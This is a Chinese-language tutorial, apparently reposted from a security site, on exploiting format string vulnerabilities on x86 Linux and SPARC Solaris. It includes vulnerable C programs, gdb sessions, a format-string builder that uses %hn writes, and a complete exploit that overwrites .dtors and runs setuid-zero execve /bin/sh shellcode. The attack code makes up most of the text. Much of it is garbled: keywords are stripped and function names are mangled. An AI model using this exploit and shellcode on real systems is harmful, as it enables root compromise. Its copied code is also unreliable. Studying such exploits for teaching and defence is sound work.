sparcx86:如何利用格式化溢出漏洞 x86/sparc

1、什么是格式化(format s)溢出漏洞?
   这里讲不详细列举有关格式化溢出理论性文章,而主要侧重于如何利用格式化溢出漏洞如果您对格式化溢出不熟悉话请
查看以下链接资料,如果您对格式化溢出漏洞,asm/c语言有基础话,请跳转到第2章节
   有关格式化溢出详细资料,请观看以下链接文章:
   (1)在Linux上利用Format String漏洞
   http://www.nsfocus.net/index.php?act=magazine&;do=view&mid=1635
   (2)*prf格式化串安全漏洞分析(上)(下)
   http://www.nsfocus.net/index.php?act=magazine&;do=view&mid=533
   http://www.nsfocus.net/index.php?act=magazine&;do=view&mid=534
   (3)Solaris for SPARC 堆栈溢出编写(续)
   http://www.nsfocus.net/index.php?act=magazine&;do=view&mid=683


2、如何在x86/sparc exploit format
   下面我将会step by step详细介绍如何去利用个格式化溢出漏洞
个简单有格式化溢出漏洞例子:
   
[dove@rh80 test]$ uname -a
Linux rh80 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
[dove@rh80 test]$ cat ./vulfs.c
void foo (char *str) {
        char buf[256];
        snprf(buf, (buf),str);  /* 直接把用户提交数据打印到缓冲区里面去,并没有限制用户提交格式化串 */
        prf("%s\n",buf);
        ;            
}

( argc, char **argv)
{
        foo(argv[1]);
         0;
}

[dove@rh80 test]$ gcc -o vulfs vulfs.c
[dove@rh80 test]$ ./vulfs AAAABBBB
AAAABBBB
[dove@rh80 test]$ ./vulfs BBBB%20d%x
BBBB           13451311142424242
[dove@rh80 test]$
如果这里我们把%x换成%n就会把前面个数连同4个B格式(%20d -> 20个 %d + 4 个B = 24)写入BBBB对应0x42424242地址
(gdb) r BBBB%20d%n
Starting program: /home/dove/test/vulfs BBBB%20d%n

Program received signal SIGSEGV, Segmentation fault.
0x4204a609 in vfprf from /lib/i686/libc.so.6
(gdb) bt
#0  0x4204a609 in vfprf from /lib/i686/libc.so.6
#1  0x4206a3e4 in vsnprf from /lib/i686/libc.so.6
#2  0x42052404 in snprf from /lib/i686/libc.so.6
#3  0x08048378 in foo
#4  0x080483b4 in
#5  0x420158d4 in __libc_start_ from /lib/i686/libc.so.6
(gdb) x/i $eip
0x4204a609 :     mov    %edx,(%eax)
(gdb) i r edx eax
edx            0x18     24
eax            0x42424242       1111638594
(gdb)

ok, 根据上面信息就可以构造个exploit code, 在exploit code中我们利用%hn(把参数个数写入个地址高2字节),代替%n
利用2次%hn就可以

这里我写了个自动构造格式化溢出串

/* 存放个地址到指定区域, for little-enbian */
char*
putLong (char* ptr, long value)
{
    *ptr = (char) (value >> 0) & 0xff;
    *ptr = (char) (value >> 8) & 0xff;
    *ptr = (char) (value >> 16) & 0xff;
    *ptr = (char) (value >> 24) & 0xff;
     ptr;
}

/* 检测地址中是否存在零字节 */

checkZero (long value)
{
     !((value & 0x00ffffff) &&
             (value & 0xff00ffff) &&
             (value & 0xffff00ff) &&
             (value & 0xffffff00));

}

/* 我们构造格式化 */
/* retloc: 你要覆盖地址 */
/* retaddr: shellcode 地址 */
/* align: 调整位置 */
/* num:需要多少个格式化才能打印堆栈中垃圾数据 */

void buildFs (char *sbuf, unsigned long retloc, unsigned long retaddr, align, num)
{
            i;
    long        reth, retl;
    char        *ptr;
/* little enbian 地址排列方式 */
#def le    
    reth = (retaddr >> 0) & 0xffff;
        retl = (retaddr >> 16) & 0xffff;
#end

/* big enbian 地址排列方式 */
#def be    
    reth = (retaddr >> 16) & 0xffff;
        retl = (retaddr >> 0) & 0xffff;
#end

        prf("retaddr 高2字节: 0x%x / 低2字节: 0x%x\n", reth, retl);
    prf("retloc 地址值: 0x%x / retloc + 2地址值: 0x%x\n", retloc, (retloc + 2));
    bzero (sbuf, (sbuf));
    /* 是否需要align,来对齐format s */
     (align < 0 || align > 3) {
        prf("align 值必须在1-3的间,实际aglin值:%ld\n", align);
        exit(1);
    }
    /* 检测retloc 中是否有零字节 */
     (checkZero(retloc) || checkZero(retloc+2) ) {
        prf("retloc 地址中存在零字节,实际reloc值:%x, reloc+2值:%x\n", retloc, (retloc + 2) );
        exit(1);
    }
    
    /* 构造格式化串 */
    ptr = sbuf;
    
    for (i = 0; i < align; i) {
        *ptr = 0x41;
    }
        
    ptr = putLong(ptr, 0x42424242);
    ptr = putLong(ptr, retloc);
    ptr = putLong(ptr, 0x43434343);
    ptr = putLong(ptr, retloc + 2);
    for (i = 0 ; i < num; i ) {
        memcpy(ptr, "%.8x", 4);
                ptr = ptr + 4;
        }
        sprf(ptr, "%%%uc%%hn%%%uc%%hn", (reth - align - ((num * 8)+ 16)), 0x10000  + retl - reth);
       
        ;
}

这里我将其中几个详细参数功能解释
void buildFs (char *sbuf, unsigned long retloc, unsigned long retaddr, align, num);
char *sbuf: 我们构造格式化串放置缓冲区
unsigned long retloc: 我们所有覆盖个地址(能够改变执行流程),比如返回地址,.dtors结构,GOT结构,atexit结构等等
unsigned long retaddr: 我们构造shellcode在内存中地址
align: 我们格式化串是否需要对齐.比如在有些系统上有这样问题.
构造这样串[a][a][a]AAAABBBB%x%x%x, [a]代表可选,般值在1-3的间,比如:
[dove@rh80 test]$ ./vulfs aAAAABBBB%x%x%x
aAAAABBBB........4141414142424242
那么我们align值就是1
num: 需要num个格式化串参数才能dump内存中垃圾数据比如我们在solaris sparc8上vulfs.c测试情况如下:
bash-2.05$ uname -a
SunOS sun8 5.8 Generic_108528-07 sun4u sparc SUNW,Ultra-5_10
bash-2.05$ ./vulfs AAAABBBB%x%x%x%x%p
AAAABBBB8223d8ff29bcbc041414141
在这里我们需要4个%x才能dump掉那些垃圾数据

3、确定retaddr/retloc
   有关shellcode地址确定,有了很多很准确思路方法去得到,我们在用execve/execle 可以构造自己环境变量这样我们就可以
准确计算出retaddr
比如在x86 linux环境下我们可以用这样公式得到:
retaddr = 0xbffffffa - strlen(shellocde) - strlen("./vulfs");
sparc 下也是这样概念,在这里我们用warning3写个得到sparc下retaddr
   曾经有段时间我为了确定reloc值而发愁,现在我已经掌握了很好思路方法来得到这些地址在x86下我们可以用objdump来得到
.dtors/GOT地址
   sparc下可以用这样思路方法来得到返回地址,但是不是每返回地址都有效,需要个个去尝试 :)
bash-2.05$ ./vulfs AAAABBBB%x%x%x%x%n
Bus Error (core dumped)
bash-2.05$ gdb ./vulfs core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.8"...(no debugging symbols found)...
Core was generated by `./vulfs AAAABBBB%x%x%x%x%n'.
Program terminated with signal 10, Bus Error.
Reading symbols from /usr/lib/libc.so.1...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libc.so.1
Reading symbols from /usr/lib/libdl.so.1...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libdl.so.1
Reading symbols from /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1...(no debugging symbols found)...done.
Loaded symbols for /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1
#0  0xff3038b4 in _doprnt from /usr/lib/libc.so.1
(gdb) x/i 0xff3038b4
0xff3038b4 <_doprnt+10912>:     st  %o0, [ %o1 ]
(gdb) i r o0 o1
o0             0x17     23
o1             0x41414141       1094795585
(gdb) bt
#0  0xff3038b4 in _doprnt from /usr/lib/libc.so.1
#1  0xff3045d4 in snprf from /usr/lib/libc.so.1
#2  0x106e0 in foo
#3  0x10724 in
(gdb) f 1
#1  0xff3045d4 in snprf from /usr/lib/libc.so.1
(gdb) p/x $fp+60
$1 = 0xffbefb44  //snprf 返回地址
(gdb)
得到retloc and retaddr 我们就可以去溢出了 :)

4、例子

/* heap_fs.c
* heap format s vuln example
* Sam: explioit it :>
*/

#
#
#

# MAXLENGTH    2048

log_it (const char* format, ...)
{
    char    *p;
    va_list    ap;

     ((p = malloc (MAXLENGTH)) NULL)
         -1;    

    va_start (ap, format);
    vsnprf (p, MAXLENGTH,  format, ap);
#def HELP
    prf ("%s \n", p);
#end
    va_end (ap);
    
    free (p);
    
     0;
}

( argc, char **argv)
{
     (argc != 2) {
        prf ("need args \n");
         -1;
    }

    log_it (argv[1]);

     0;
        
}
    

/* ex_heap_fs.c
* exploit heap format s vuln code
* by Sam
*
*/
#
#
#
#
#
#
#

/* .dtors */
# dtors_addr  0x80495bc + 4
# HELL        "./heap_fs"


char shellcode=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/* shellcode */
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31"
"\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";


/*
* put a address in mem, for little-enbian
*
*/
char*
putLong (char* ptr, long value)
{
    *ptr = (char) (value >> 0) & 0xff;
    *ptr = (char) (value >> 8) & 0xff;
    *ptr = (char) (value >> 16) & 0xff;
    *ptr = (char) (value >> 24) & 0xff;
    
     ptr;
}


/*
*check the \x00
*/

checkZero (long value)
{
     !((value & 0x00ffffff) &&
             (value & 0xff00ffff) &&
             (value & 0xffff00ff) &&
             (value & 0xffffff00));

}

/*
* FIXME:
* build format s
* retloc: the addrees you wanna rewrite
* retaddr: shellcode address
* align: the aligns
* num: how many %.8x can dump the stack data
* off: some shellcode off
*
*/

void buildFs (char *sbuf, unsigned long retloc, unsigned long retaddr, off, align, num)
{
            i;
    long        reth, retl;
    char        *ptr;
    
    /* little enbian  */
    
    reth = (retaddr >> 0) & 0xffff;
        retl = (retaddr >> 16) & 0xffff;

#def    DEBUG
        prf ("retaddr high word: 0x%x / low word: 0x%x\n", reth, retl);
    prf ("retloc : 0x%x / retloc + 2: 0x%x\n", retloc, retloc + 2);
#end
    bzero (sbuf, (sbuf));
    
     (align < 0 || align > 3) {
        prf ("align must between 1-3,"
            "the aglin vaule:%ld\n", align);
        exit (1);
    }
    /* check zero */
     (checkZero (retloc) || checkZero (retloc+2) ) {
        prf ("retloc have zero ; <\n");
        exit (1);
    }
    
    ptr = sbuf;
    
    for (i = 0; i < align; i) {
        *ptr = 0x41;
    }
    /* Padding */
    ptr = putLong (ptr, 0x42424242);
    ptr = putLong (ptr, retloc);
    ptr = putLong (ptr, 0x43434343);
    ptr = putLong (ptr, retloc + 2);
    for (i = 0 ; i < num; i ) {
        memcpy (ptr, "%.8x", 4);
                ptr = ptr + 4;
        }

        sprf (ptr, "%%%uc%%hn%%%uc%%hn", reth - off - align -(num*8 + 16) , 0x10000 + off + retl - reth);
       
        ;
}


/*
* function
*
*/                                 

{
        ret_addr;
        char    buf[256];
        char    *args[24];
        char     *env[2];

    /* our shellcode address */
    ret_addr = 0xbffffffa - strlen(shellcode) - strlen(HELL);
    
    /* put in env */
    env[0] = shellcode;
    env[1] = NULL;
    
    prf ("Use shellcode 0x%x\n", ret_addr);
        
        bzero (buf, (buf));
        /* build format s */
        buildFs (buf, dtors_addr, ret_addr, 0, 3, 65);  /* exploit */

        /* lamer ;) */
        args[0] = HELL;
        args[1] = buf;
    args[2] = NULL;
    
    execve (args[0], args, env);
        perror ("execve");
        
     0;
}
/* end of */ 


  • 篇文章: 对RPC DCOM 蠕虫设想

  • 篇文章: ARP欺骗技术
  • Tags:  缓冲区溢出的漏洞 溢出漏洞 缓冲区溢出漏洞 sparcx86

    延伸阅读

    最新评论

    发表评论